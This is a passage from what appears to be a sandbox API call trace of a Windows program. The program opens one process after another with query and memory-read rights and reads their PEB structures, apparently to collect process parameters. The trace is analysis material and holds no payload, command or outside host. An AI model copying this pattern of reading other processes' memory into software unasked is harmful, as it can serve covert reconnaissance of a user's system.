_Buffer="2088") returned 4 [0261.905] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.905] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.918] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x16c [0261.918] GetLastError () returned 0x0 [0261.919] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.920] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.945] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.946] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.948] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.950] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.950] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.951] malloc (_Size=0x6a) returned 0x20abc282120 [0261.951] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0261.952] free (_Block=0x20abc282120) [0261.953] CloseHandle (hObject=0x16c) returned 1 [0261.954] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0261.958] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="248") returned 3 [0261.960] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.960] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.979] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x16c [0261.979] GetLastError () returned 0x0 [0261.980] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.980] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.980] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.980] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.981] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.982] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.983] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.983] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.983] malloc (_Size=0x64) returned 0x20abc280840 [0261.984] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0261.984] free (_Block=0x20abc280840) [0261.985] CloseHandle (hObject=0x16c) returned 1 [0261.985] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0261.989] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2644") returned 4 [0261.990] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.990] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x16c [0262.003] GetLastError () returned 0x0 [0262.004] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0262.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0262.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0262.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0262.005] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc22fc240, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0262.006] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0262.008] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0262.008] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0262.008] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0262.008] malloc (_Size=0x72) returned 0x20abc282120 [0262.008] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0262.009] free (_Block=0x20abc282120) [0262.009] CloseHandle (hObject=0x16c) returned 1 [0262.089] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0262.093] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2640") returned 4 [0262.095] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc22fc7f0, szCSDVersion="-") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.095] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x16c [0262.187] GetLastError () returned 0x0 [0262.189] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0262.189] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0262.229] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0262.251] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0262.267] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0262.294] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0262.326] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0262.326] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0262.353] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0262.378] malloc (_Size=0xd6) returned 0x20abc284e70 [0262.378] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc284e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0262.404] free (_Block=0x20abc284e70) [0262.405] CloseHandle (hObject=0x16c) returned 1 [0262.405] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0262.408] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="336") returned 3 [0262.410] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.410] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x16c [0262.425] GetLastError () returned 0x0 [0262.426] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0262.426] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0262.426] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0262.427] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0262.427] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0262.428] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0262.429] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0262.429] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0262.429] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0262.430] malloc (_Size=0xce) returned 0x20abc284e70 [0262.430] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc284e70, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0262.430] free (_Block=0x20abc284e70) [0262.431] CloseHandle (hObject=0x16c) returned 1 [0262.431] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0262.437] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2916") returned 4 [0262.438] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.438] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.533] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0262.533] CloseHandle (hObject=0x0) returned 0 [0262.533] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 0x0 [0262.537] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="464") returned 3 [0262.538] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.538] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.553] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x16c [0262.553] GetLastError () returned 0x0 [0262.554] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0262.554] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0262.554] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0262.554] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0262.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc22fc240, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0262.556] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0262.557] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0262.557] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f49eb5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0262.557] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe791330, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0262.557] malloc (_Size=0x7e) returned 0x20abc285b10 [0262.557] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18abe7919a8, lpBuffer=0x20abc285b10, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285b10*, lpNumberOfBytesRead=0x0) returned 1 [0262.558] free (_Block=0x20abc285b10) [0262.561] CloseHandle (hObject=0x16c) returned 1 [0262.562] _ui64tow_s (in: _Value=0xde8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0262.565] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3560") returned 4 [0262.566] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.566] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.691] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x16c [0262.691] GetLastError () returned 0x0 [0262.692] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0262.692] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0262.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0262.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0262.693] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0262.694] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0262.696] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0262.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0262.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0262.696] malloc (_Size=0x48) returned 0x20abc27cb20 [0262.696] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1938, lpBuffer=0x20abc27cb20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0262.697] free (_Block=0x20abc27cb20) [0262.697] CloseHandle (hObject=0x16c) returned 1 [0262.698] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0262.931] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3576") returned 4 [0262.932] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.932] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0262.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x16c [0263.062] GetLastError () returned 0x0 [0263.063] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, 